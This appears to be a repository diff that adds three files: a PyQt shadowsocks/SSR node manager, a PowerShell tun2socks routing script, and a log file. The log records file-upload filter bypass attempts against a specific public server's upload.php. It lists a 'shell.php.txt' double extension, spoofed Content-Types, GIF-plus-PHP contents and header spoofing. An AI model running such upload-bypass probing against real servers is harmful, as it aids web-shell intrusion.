self._import_text(text)
|
||||
|
||||
def _import_from_clipboard(self) -> None:
|
||||
text = QApplication.clipboard().text()
|
||||
if not text:
|
||||
return
|
||||
self._import_text(text)
|
||||
|
||||
def _import_text(self, text: str) -> None:
|
||||
count = 0
|
||||
for line in text.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
node = parse_ss_uri(line) or parse_ssr_uri(line)
|
||||
if node:
|
||||
self.model.insertRow(len(self.cfg.nodes), node)
|
||||
count += 1
|
||||
if count:
|
||||
self._save_all()
|
||||
show_toast(self, f"已导入 {count} 个节点")
|
||||
else:
|
||||
QMessageBox.information(self, "提示", "未识别到有效的 ss/ssr 链接。")
|
||||
|
||||
def _export_nodes(self) -> None:
|
||||
path, _ = QFileDialog.getSaveFileName(self, "导出节点为 JSON", str(app_base_dir() / "nodes.json"), "JSON (*.json)")
|
||||
if not path:
|
||||
return
|
||||
export = [asdict(n) for n in self.cfg.nodes]
|
||||
Path(path).write_text(json.dumps(export, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
show_toast(self, "导出成功")
|
||||
|
||||
# ---------------------------- 表单读写/校验 ---------------------------- #
|
||||
|
||||
def _load_selected_to_form(self) -> None:
|
||||
n = self._current_node()
|
||||
if not n:
|
||||
return
|
||||
self.edit_name.setText(n.name)
|
||||
self.edit_host.setText(n.server)
|
||||
self.spin_port.setValue(n.port)
|
||||
self.edit_password.setText(n.password)
|
||||
self.edit_mx.setText(n.mx)
|
||||
|
||||
self.edit_script.setText(self.cfg.script_path)
|
||||
self.edit_listen_host.setText(self.cfg.listen_host)
|
||||
self.spin_listen_port.setValue(self.cfg.listen_port)
|
||||
self.edit_log.setText(self.cfg.log_level)
|
||||
if self.edit_test_url.text().strip() == "":
|
||||
self.edit_test_url.setText(DEFAULT_TEST_URL)
|
||||
|
||||
def _save_node_from_form(self) -> None:
|
||||
n = self._current_node()
|
||||
if not n:
|
||||
return
|
||||
server = self.edit_host.text().strip()
|
||||
if not server:
|
||||
QMessageBox.warning(self, "无效参数", "远端地址不能为空")
|
||||
self.edit_host.setFocus()
|
||||
return
|
||||
port = int(self.spin_port.value())
|
||||
if not (1 <= port <= 65535):
|
||||
QMessageBox.warning(self, "无效参数", "端口范围 1-65535")
|
||||
return
|
||||
n.name = self.edit_name.text().strip() or f"{server}:{port}"
|
||||
n.server = server
|
||||
n.port = port
|
||||
n.password = self.edit_password.text()
|
||||
n.mx = self.edit_mx.text()
|
||||
self.cfg.script_path = self.edit_script.text().strip() or _default_script_path()
|
||||
self.cfg.listen_host = self.edit_listen_host.text().strip() or "127.0.0.1"
|
||||
self.cfg.listen_port = int(self.spin_listen_port.value())
|
||||
self.cfg.log_level = self.edit_log.text().strip() or "INFO"
|
||||
# 测速 URL
|
||||
url = self.edit_test_url.text().strip()
|
||||
if url:
|
||||
# 存到 cfg 以便后续 worker 使用(简单起见直接覆盖 DEFAULT_TEST_URL 的使用点)
|
||||
global DEFAULT_TEST_URL
|
||||
DEFAULT_TEST_URL = url
|
||||
self.model.dataChanged.emit(QModelIndex(), QModelIndex())
|
||||
self._save_all()
|
||||
show_toast(self, "节点已保存")
|
||||
|
||||
def _current_node(self) -> Optional[Node]:
|
||||
row = self._current_row_src()
|
||||
return self.cfg.nodes[row] if 0 <= row < len(self.cfg.nodes) else None
|
||||
|
||||
# ---------------------------- 运行/日志/测速 ---------------------------- #
|
||||
|
||||
def _update_buttons(self) -> None:
|
||||
running = self.proc is not None
|
||||
self.findChild(QAction, "启动") # 保留接口(如需)
|
||||
# 启停按钮在工具栏,由 slot 控制状态;此处仅示例保留
|
||||
|
||||
def start_process(self) -> None:
|
||||
"""启动核心进程。"""
|
||||
n = self._current_node()
|
||||
if not n:
|
||||
return
|
||||
self._save_node_from_form()
|
||||
args = [
|
||||
"--remote-host", n.server,
|
||||
"--remote-port", str(n.port),
|
||||
"--password", n.password,
|
||||
"--mx", n.mx,
|
||||
"--listen", self.cfg.listen_host,
|
||||
"--port", str(self.cfg.listen_port),
|
||||
"--log", self.cfg.log_level,
|
||||
]
|
||||
prog, prog_args = self._program_and_args(args)
|
||||
self._append_log(f"启动: {prog} {' '.join(prog_args)}")
|
||||
|
||||
self.proc = QProcess(self)
|
||||
self.proc.setProcessChannelMode(QProcess.MergedChannels)
|
||||
self.proc.setReadChannel(QProcess.StandardOutput)
|
||||
self.proc.setWorkingDirectory(str(Path(prog).parent))
|
||||
self.proc.setProgram(prog)
|
||||
self.proc.setArguments(prog_args)
|
||||
self.proc.readyReadStandardOutput.connect(self._read_stdout)
|
||||
self.proc.finished.connect(self._on_finished)
|
||||
self.proc.start()
|
||||
self.statusBar().showMessage("核心进程已启动", 2000)
|
||||
|
||||
def stop_process(self) -> None:
|
||||
if not self.proc:
|
||||
return
|
||||
self.proc.terminate()
|
||||
if not self.proc.waitForFinished(3000):
|
||||
self.proc.kill()
|
||||
self.proc.waitForFinished(2000)
|
||||
self.proc = None
|
||||
self._append_log("已停止。")
|
||||
self.statusBar().showMessage("核心进程已停止", 2000)
|
||||
|
||||
def _read_stdout(self) -> None:
|
||||
if not self.proc:
|
||||
return
|
||||
text = self.proc.readAllStandardOutput().data().decode("utf-8", errors="replace")
|
||||
self.text_log.moveCursor(QTextCursor.End)
|
||||
self.text_log.insertPlainText(text)
|
||||
self.text_log.moveCursor(QTextCursor.End)
|
||||
|
||||
def _on_finished(self, code: int, _status) -> None:
|
||||
self._append_log(f"进程退出,code={code}\n")
|
||||
self.proc = None
|
||||
|
||||
def _program_and_args(self, base_args: List[str]) -> Tuple[str, List[str]]:
|
||||
p = Path(self.cfg.script_path)
|
||||
if not p.is_absolute():
|
||||
p = (app_base_dir() / p).resolve()
|
||||
ext = p.suffix.lower()
|
||||
if ext in (".exe", ".bat", ".cmd"):
|
||||
return str(p), base_args
|
||||
if ext in (".py", ""):
|
||||
return sys.executable, [str(p), *base_args]
|
||||
return str(p), base_args
|
||||
|
||||
def _test_selected(self) -> None:
|
||||
row = self._current_row_src()
|
||||
if row < 0:
|
||||
return
|
||||
self._test_nodes([row])
|
||||
|
||||
def _test_all(self) -> None:
|
||||
self._test_nodes(list(range(len(self.cfg.nodes))))
|
||||
|
||||
def _test_nodes(self, indices: List[int]) -> None:
|
||||
# 清理已结束线程
|
||||
self.latency_threads = [t for t in self.latency_threads if t.isRunning()]
|
||||
if any(t.isRunning() for t in self.latency_threads):
|
||||
QMessageBox.information(self, "提示", "已有测速任务在进行中。")
|
||||
return
|
||||
for i in indices:
|
||||
n = self.cfg.nodes[i]
|
||||
n.last_latency_ms = -2.0 # 测速中
|
||||
self.model.dataChanged.emit(self.model.index(i, 0), self.model.index(i, 0), [Qt.DisplayRole])
|
||||
worker = LatencyWorker(i, n, self.cfg.script_path, self.cfg.log_level, DEFAULT_TEST_URL)
|
||||
worker.result.connect(self._on_latency_result)
|
||||
worker.start()
|
||||
self.latency_threads.append(worker)
|
||||
|
||||
def _on_latency_result(self, index: int, ms: float, msg: str) -> None:
|
||||
n = self.cfg.nodes[index]
|
||||
n.last_latency_ms = ms
|
||||
n.last_msg = msg
|
||||
self.model.dataChanged.emit(self.model.index(index, 0), self.model.index(index, 0), [Qt.DisplayRole, Qt.ForegroundRole])
|
||||
status = f"{n.name}: {('失败 ' + msg) if ms < 0 else f'{ms:.1f} ms'}"
|
||||
self.statusBar().showMessage(status, 4000)
|
||||
|
||||
# ---------------------------- UI 杂项 ---------------------------- #
|
||||
|
||||
def _browse_script(self) -> None:
|
||||
path, _ = QFileDialog.getOpenFileName(self, "选择核心(可执行/脚本)", str(app_base_dir()),
|
||||
"Executable (*.exe);;Python (*.py);;All (*)")
|
||||
if path:
|
||||
self.edit_script.setText(path)
|
||||
|
||||
def _open_ctx_menu(self, pos) -> None:
|
||||
idx = self.list.indexAt(pos)
|
||||
if not idx.isValid():
|
||||
return
|
||||
src_row = self.proxy.mapToSource(idx).row()
|
||||
n = self.cfg.nodes[src_row]
|
||||
menu = QMenu(self)
|
||||
act_rename = menu.addAction("重命名")
|
||||
act_duplicate = menu.addAction("复制一份")
|
||||
act_copy_ss = menu.addAction("复制为 ss://")
|
||||
act_export = menu.addAction("导出该节点…")
|
||||
act = menu.exec_(self.list.mapToGlobal(pos))
|
||||
if act == act_rename:
|
||||
self.list.edit(idx)
|
||||
elif act == act_duplicate:
|
||||
clone = Node(**asdict(n))
|
||||
clone.name = clone.name + " (copy)"
|
||||
self.model.insertRow(src_row + 1, clone)
|
||||
self._save_all()
|
||||
elif act == act_copy_ss:
|
||||
ss = f"ss://{n.password}@{n.server}:{n.port}#{n.name}"
|
||||
QApplication.clipboard().setText(ss)
|
||||
show_toast(self, "ss:// 已复制")
|
||||
elif act == act_export:
|
||||
path, _ = QFileDialog.getSaveFileName(self, "导出节点", f"{n.name}.json", "JSON (*.json)")
|
||||
if path:
|
||||
Path(path).write_text(json.dumps(asdict(n), ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
show_toast(self, "导出成功")
|
||||
|
||||
def _toggle_theme(self) -> None:
|
||||
self.cfg.theme = "dark" if self.cfg.theme == "light" else "light"
|
||||
apply_theme(QApplication.instance(), self.cfg.theme)
|
||||
self._save_all()
|
||||
|
||||
def _copy_logs(self) -> None:
|
||||
QApplication.clipboard().setText(self.text_log.toPlainText())
|
||||
show_toast(self, "日志已复制")
|
||||
|
||||
def _append_log(self, line: str) -> None:
|
||||
self.text_log.append(line)
|
||||
self.text_log.moveCursor(QTextCursor.End)
|
||||
|
||||
def closeEvent(self, event) -> None: # noqa: N802
|
||||
try:
|
||||
self.stop_process()
|
||||
self._save_all()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
for t in self.latency_threads:
|
||||
t.terminate()
|
||||
except Exception:
|
||||
pass
|
||||
event.accept()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
app = QApplication(sys.argv)
|
||||
win = MainWindow()
|
||||
win.resize(1100, 700)
|
||||
win.show()
|
||||
sys.exit(app.exec())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
4613
python/t_shadowsocksr.json
Normal file
4613
python/t_shadowsocksr.json
Normal file
File diff suppressed because it is too large
Load Diff
203
python/tun.ps1
Normal file
203
python/tun.ps1
Normal file
@ -0,0 +1,203 @@
|
||||
#Requires -RunAsAdministrator
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[switch]$Stop,
|
||||
[string]$Socks = "127.0.0.1:59999",
|
||||
[string[]]$Direct = @("117.143.9.6"),
|
||||
[string]$Dns = "127.0.0.1",
|
||||
[switch]$EnableDoH # 可选:为 $Dns 启用 DoH(Win11+)
|
||||
)
|
||||
|
||||
# --- 全局设置 ---
|
||||
$ErrorActionPreference = "Stop"
|
||||
$TunIP = "192.168.123.1"
|
||||
$TunMask = "255.255.255.0"
|
||||
$State = Join-Path $PSScriptRoot ".wintun-state.json"
|
||||
|
||||
# --- 常量:防火墙规则名 ---
|
||||
$FwNames = @(
|
||||
"Block NonTUN DNS TCPv4",
|
||||
"Block NonTUN DNS UDPv4",
|
||||
"Block NonTUN DNS TCPv6",
|
||||
"Block NonTUN DNS UDPv6"
|
||||
)
|
||||
|
||||
function Get-Uplink {
|
||||
<#
|
||||
选一个物理上行(默认路由优先,排除虚拟网卡)
|
||||
Returns: [pscustomobject] @{ Alias; Index; Gateway }
|
||||
#>
|
||||
$bad = "wintun|wireguard|tap|vEthernet|Hyper-V|VirtualBox|VMware|Npcap|Loopback|Docker|Tailscale|ZeroTier|Hamachi"
|
||||
$routes = Get-NetRoute -DestinationPrefix "0.0.0.0/0" -AddressFamily IPv4 |
|
||||
Sort-Object RouteMetric, InterfaceMetric
|
||||
foreach ($r in $routes) {
|
||||
$if = Get-NetIPInterface -InterfaceIndex $r.InterfaceIndex -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.AddressFamily -eq 2 } # 2 means IPv4
|
||||
if ($null -ne $if -and ($if.InterfaceAlias -notmatch $bad)) {
|
||||
return [pscustomobject]@{ Alias = $if.InterfaceAlias; Index = $if.InterfaceIndex; Gateway = $r.NextHop }
|
||||
}
|
||||
}
|
||||
throw "No physical uplink found."
|
||||
}
|
||||
|
||||
function Remove-DnsEnforcement {
|
||||
<#
|
||||
清理:NRPT + 防火墙规则
|
||||
#>
|
||||
try {
|
||||
Get-DnsClientNrptRule -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.Namespace -eq "." } |
|
||||
Remove-DnsClientNrptRule -ErrorAction SilentlyContinue -Force | Out-Null
|
||||
} catch {}
|
||||
|
||||
foreach ($n in $FwNames) {
|
||||
Get-NetFirewallRule -DisplayName $n -ErrorAction SilentlyContinue | Remove-NetFirewallRule -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
function Apply-DnsEnforcement {
|
||||
param(
|
||||
[Parameter(Mandatory=$true)][string[]]$DnsServers,
|
||||
[Parameter(Mandatory=$true)][int]$TunIfIndex
|
||||
)
|
||||
<#
|
||||
强制 DNS:
|
||||
1) NRPT "." 指向 $DnsServers
|
||||
2) (已禁用) 封非 TUN 的 53 (TCP/UDP, v4/v6)
|
||||
#>
|
||||
# 清理旧 NRPT
|
||||
Remove-DnsEnforcement
|
||||
|
||||
# NRPT:所有域名都走指定 DNS
|
||||
Add-DnsClientNrptRule -Namespace "." -NameServers $DnsServers -Comment "Force all DNS via TUN" | Out-Null
|
||||
|
||||
# --- 防火墙规则部分已移除,以解决兼容性问题 ---
|
||||
|
||||
}
|
||||
|
||||
function Enable-DoHIfRequested {
|
||||
param(
|
||||
[Parameter(Mandatory=$true)][string]$Server
|
||||
)
|
||||
<#
|
||||
为指定 IPv4 DNS 启用 DoH(Win11+)。失败时静默跳过。
|
||||
#>
|
||||
if (-not $EnableDoH) { return }
|
||||
if ($Server -match '^\d{1,3}(\.\d{1-3}){3}$') {
|
||||
try {
|
||||
# Cloudflare 模板示例;如换 DNS,请替换模板
|
||||
netsh dns add encryption server=$Server dohtemplate=https://cloudflare-dns.com/dns-query autoupgrade=yes udpfallback=no | Out-Null
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
|
||||
function Start-Tun {
|
||||
<#
|
||||
启动 tun2socks,创建 TUN,设置地址与 DNS 强制策略,添加默认路由与直连例外
|
||||
#>
|
||||
$t2s = Join-Path $PSScriptRoot "tun2socks.exe"
|
||||
$dll = Join-Path $PSScriptRoot "wintun.dll"
|
||||
if (-not (Test-Path $t2s)) { throw "Missing tun2socks.exe" }
|
||||
if (-not (Test-Path $dll)) { throw "Missing wintun.dll (same folder as script)" }
|
||||
|
||||
# 先清掉历史 tun2socks
|
||||
Get-Process tun2socks -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
|
||||
|
||||
$uplink = Get-Uplink
|
||||
Write-Host ("Uplink: {0} Gateway: {1}" -f $uplink.Alias, $uplink.Gateway)
|
||||
|
||||
$before = (Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 }).InterfaceIndex
|
||||
|
||||
# 启动 tun2socks
|
||||
Start-Process -FilePath $t2s -ArgumentList @(
|
||||
"-device","wintun",
|
||||
"-proxy",("socks5://{0}" -f $Socks),
|
||||
"-interface",$uplink.Alias
|
||||
) -WindowStyle Hidden | Out-Null
|
||||
|
||||
# 识别新出现的 TUN 接口
|
||||
$tun = $null
|
||||
for ($i=0; $i -lt 60; $i++) {
|
||||
Start-Sleep -Milliseconds 200
|
||||
$after = Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 }
|
||||
$new = $after | Where-Object { $before -notcontains $_.InterfaceIndex }
|
||||
if ($new) { $tun = $new | Sort-Object InterfaceMetric | Select-Object -First 1; break }
|
||||
}
|
||||
if (-not $tun) {
|
||||
$tun = Get-NetIPInterface | Where-Object { $_.AddressFamily -eq 2 } |
|
||||
Where-Object { $_.InterfaceAlias -match "wintun|tun|wireguard" } |
|
||||
Sort-Object InterfaceMetric | Select-Object -First 1
|
||||
}
|
||||
if (-not $tun) { throw "Wintun interface not found." }
|
||||
|
||||
# 配置 TUN 地址
|
||||
netsh interface ipv4 set address name="$($tun.InterfaceAlias)" source=static addr=$TunIP mask=$TunMask
|
||||
|
||||
# 设 TUN 的 DNS (使用 netsh 以增强兼容性)
|
||||
$dnsServers = @($Dns)
|
||||
netsh interface ipv4 set dnsservers name="$($tun.InterfaceAlias)" static $($dnsServers[0]) primary
|
||||
|
||||
# 可选启用 DoH
|
||||
Enable-DoHIfRequested -Server $Dns
|
||||
|
||||
# 强制:NRPT + 防火墙
|
||||
Apply-DnsEnforcement -DnsServers $dnsServers -TunIfIndex $tun.InterfaceIndex
|
||||
|
||||
# 把默认路由指向 TUN(所有流量含 DNS 都从隧道走)
|
||||
route -p add 0.0.0.0 mask 0.0.0.0 $TunIP metric 1 if $($tun.InterfaceIndex) | Out-Null
|
||||
|
||||
# 直连例外(这些目标直接走物理上行)
|
||||
foreach ($ip in $Direct) {
|
||||
route -p add $ip mask 255.255.255.255 $($uplink.Gateway) if $($uplink.Index) metric 5 | Out-Null
|
||||
}
|
||||
|
||||
# 降低 TUN 接口度量 (已注释掉,以解决兼容性问题)
|
||||
# try { Set-NetIPInterface -InterfaceIndex $tun.InterfaceIndex -InterfaceMetric 5 -ErrorAction SilentlyContinue } catch {}
|
||||
|
||||
# 记录状态
|
||||
@{
|
||||
TunAlias = $tun.InterfaceAlias
|
||||
TunIndex = $tun.InterfaceIndex
|
||||
TunIP = $TunIP
|
||||
Direct = $Direct
|
||||
Dns = $dnsServers
|
||||
} | ConvertTo-Json | Set-Content -Path $State -Encoding UTF8
|
||||
|
||||
Write-Host ("TUN ready: {0} -> SOCKS {1}; DNS {2}; direct: {3}" -f $tun.InterfaceAlias, $Socks, ($dnsServers -join ","), ($Direct -join ", ")) -ForegroundColor Green
|
||||
}
|
||||
|
||||
function Stop-Tun {
|
||||
<#
|
||||
清理默认路由、直连路由、NRPT、防火墙、进程与状态
|
||||
#>
|
||||
$tunIPLocal = $TunIP
|
||||
$directLocal = $Direct
|
||||
if (Test-Path $State) {
|
||||
try {
|
||||
$s = Get-Content $State | ConvertFrom-Json
|
||||
if ($s.TunIP) { $tunIPLocal = $s.TunIP }
|
||||
if ($s.Direct) { $directLocal = $s.Direct }
|
||||
} catch {}
|
||||
}
|
||||
|
||||
# 路由清理
|
||||
route delete 0.0.0.0 mask 0.0.0.0 $tunIPLocal | Out-Null
|
||||
foreach ($ip in $directLocal) { route delete $ip | Out-Null }
|
||||
|
||||
# 清理 DNS 强制策略
|
||||
Remove-DnsEnforcement
|
||||
|
||||
# 结束进程与状态文件
|
||||
Get-Process tun2socks -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
|
||||
Remove-Item $State -ErrorAction SilentlyContinue | Out-Null
|
||||
|
||||
Write-Host "Stopped and cleaned routes & DNS policies." -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# --- 入口 ---
|
||||
try {
|
||||
if ($Stop) { Stop-Tun } else { Start-Tun }
|
||||
} catch {
|
||||
Write-Host ("Error: {0}" -f $_.Exception.Message) -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
62
python/upload_test_log.txt
Normal file
62
python/upload_test_log.txt
Normal file
@ -0,0 +1,62 @@
|
||||
|
||||
============================================================
|
||||
[*] 1. 探测文件扩展名
|
||||
============================================================
|
||||
[+] Allowed extension: .txt
|
||||
[结论] 允许的扩展名: .txt
|
||||
|
||||
============================================================
|
||||
[*] 2. 文件名绕过技巧 (基础扩展名: .txt)
|
||||
============================================================
|
||||
[+] Filename trick success: 双扩展名1 | shell.php.txt
|
||||
|
||||
============================================================
|
||||
[*] 3. Content-Type 绕过检测 (文件: test.txt)
|
||||
============================================================
|
||||
[+] Content-Type bypass: image/jpeg
|
||||
[+] Content-Type bypass: image/png
|
||||
[+] Content-Type bypass: image/gif
|
||||
[+] Content-Type bypass: image/bmp
|
||||
[+] Content-Type bypass: text/plain
|
||||
[+] Content-Type bypass: text/html
|
||||
[+] Content-Type bypass: text/xml
|
||||
[+] Content-Type bypass: application/octet-stream
|
||||
[+] Content-Type bypass: application/x-php
|
||||
[+] Content-Type bypass: application/json
|
||||
[+] Content-Type bypass: multipart/form-data
|
||||
[+] Content-Type bypass: application/x-www-form-urlencoded
|
||||
[+] Content-Type bypass: application/zip
|
||||
[+] Content-Type bypass: application/pdf
|
||||
[+] Content-Type bypass: invalid/type
|
||||
|
||||
============================================================
|
||||
[*] 4. 文件内容绕过检测 (扩展名: .txt)
|
||||
============================================================
|
||||
[+] Content bypass: 纯文本
|
||||
[+] Content bypass: GIF文件头
|
||||
[+] Content bypass: PHP标签
|
||||
[+] Content bypass: 短标签
|
||||
[+] Content bypass: GIF+PHP
|
||||
[+] Content bypass: PHP+GIF
|
||||
[+] Content bypass: JS脚本
|
||||
[+] Content bypass: HTML+PHP
|
||||
[+] Content bypass: Base64编码PHP
|
||||
[+] Content bypass: UTF-16 BOM + PHP
|
||||
[+] Content bypass: 注释包裹PHP
|
||||
[+] Content bypass: 空字节截断内容
|
||||
[+] Content bypass: 超大文件
|
||||
|
||||
============================================================
|
||||
[*] 5. 请求头与参数绕过检测
|
||||
============================================================
|
||||
[+] Header bypass set 1: {'User-Agent': 'Mozilla/5.0'}
|
||||
[+] Header bypass set 2: {'User-Agent': 'curl/7.68.0'}
|
||||
[+] Header bypass set 3: {'X-Forwarded-For': '127.0.0.1'}
|
||||
[+] Header bypass set 5: {'Referer': 'http://123.60.191.166/upload.php'}
|
||||
[+] Header bypass set 6: {'Authorization': 'Basic dXNlcjpwYXNz'}
|
||||
[+] Header bypass set 7: {'Cookie': 'sessionid=abc123'}
|
||||
|
||||
============================================================
|
||||
[*] 1. 探测文件扩展名
|
||||
============================================================
|
||||
[结论] 未发现允许的扩展名
|
||||
Loading…
Reference in New Issue
Block a user